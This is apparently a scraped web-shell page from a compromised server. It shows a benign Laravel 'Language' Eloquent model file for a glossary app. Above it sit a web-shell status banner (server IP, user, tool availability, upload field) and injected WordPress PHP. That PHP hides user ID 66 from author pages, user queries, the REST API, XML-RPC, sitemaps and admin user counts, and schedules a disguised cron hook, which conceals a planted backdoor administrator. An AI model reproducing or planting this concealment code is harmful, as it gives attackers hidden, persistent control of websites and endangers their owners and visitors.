add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/glossar/app/Models/ |
Upload File : |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Language extends Model
{
protected $fillable = [
'code', 'name_en', 'name', 'flag', 'is_rtl',
'homepage_title', 'homepage_subtitle', 'coming_soon_label',
'editors', 'glossary_title', 'editors_label', 'in_label', 'cc_licence',
'is_active', 'sort_order', 'updated_by'
];
protected $casts = [
'is_rtl' => 'boolean',
'is_active' => 'boolean',
];
public function updater()
{
return $this->belongsTo(User::class, 'updated_by');
}
/**
* The language stewards (Herausgeber) — the editors of this language's
* glossary — ordered by pivot sort_order. Drives the citation editor list.
*/
public function stewards()
{
return $this->belongsToMany(User::class)
->withPivot('sort_order')
->withTimestamps()
->orderBy('language_user.sort_order');
}
/**
* Citation-form names ("Surname, Firstname") of the language stewards,
* in pivot order. Used by the Citation service for the "(Eds.)" list.
*/
public function editorCitationNames(): array
{
return $this->stewards->map(fn (User $u) => $u->citationName())->all();
}
/**
* "Arabic (العربية)" — English name with native name in brackets
*/
public function getDisplayLabel(): string
{
if ($this->name_en && $this->name_en !== $this->name) {
return $this->name_en . ' (' . $this->name . ')';
}
return $this->name_en ?: $this->name;
}
/**
* Get all active languages, ordered alphabetically by native name
* (e.g. Deutsch before English).
*/
public static function active()
{
return static::where('is_active', true)->orderBy('name')->get();
}
/**
* Get all languages ordered alphabetically by native name.
*/
public static function allOrdered()
{
return static::orderBy('name')->get();
}
/**
* Get language by code
*/
public static function byCode(string $code): ?static
{
return static::where('code', $code)->first();
}
/**
* Map of code => English display name for ALL languages, cached per request.
* Replaces the former config('app.available_locales') lookup.
*/
public static function localeMap(): array
{
static $map = null;
if ($map === null) {
$map = static::orderBy('name_en')->pluck('name_en', 'code')->all();
}
return $map;
}
/**
* English display name for a code, falling back to the uppercased code.
*/
public static function localeName(string $code): string
{
return static::localeMap()[$code] ?? strtoupper($code);
}
/**
* Whether the given language code is right-to-left.
* Replaces the former config('app.rtl_locales') lookup.
*/
public static function isRtl(string $code): bool
{
return (bool) static::query()->where('code', $code)->value('is_rtl');
}
/**
* Map of code => native name for ALL languages, ordered alphabetically by
* native name. Used for the user-facing language selectors.
*/
public static function nativeMap(): array
{
static $map = null;
if ($map === null) {
$map = static::orderBy('name')->pluck('name', 'code')->all();
}
return $map;
}
/**
* Native name for a code, falling back to the uppercased code.
*/
public static function nativeName(string $code): string
{
return static::nativeMap()[$code] ?? strtoupper($code);
}
/**
* Get homepage title with fallback
*/
public function getTitle(string $default = 'Futures Glossary'): string
{
return $this->homepage_title ?: $default;
}
/**
* Get homepage subtitle with fallback
*/
public function getSubtitle(string $default = ''): string
{
return $this->homepage_subtitle ?: $default;
}
}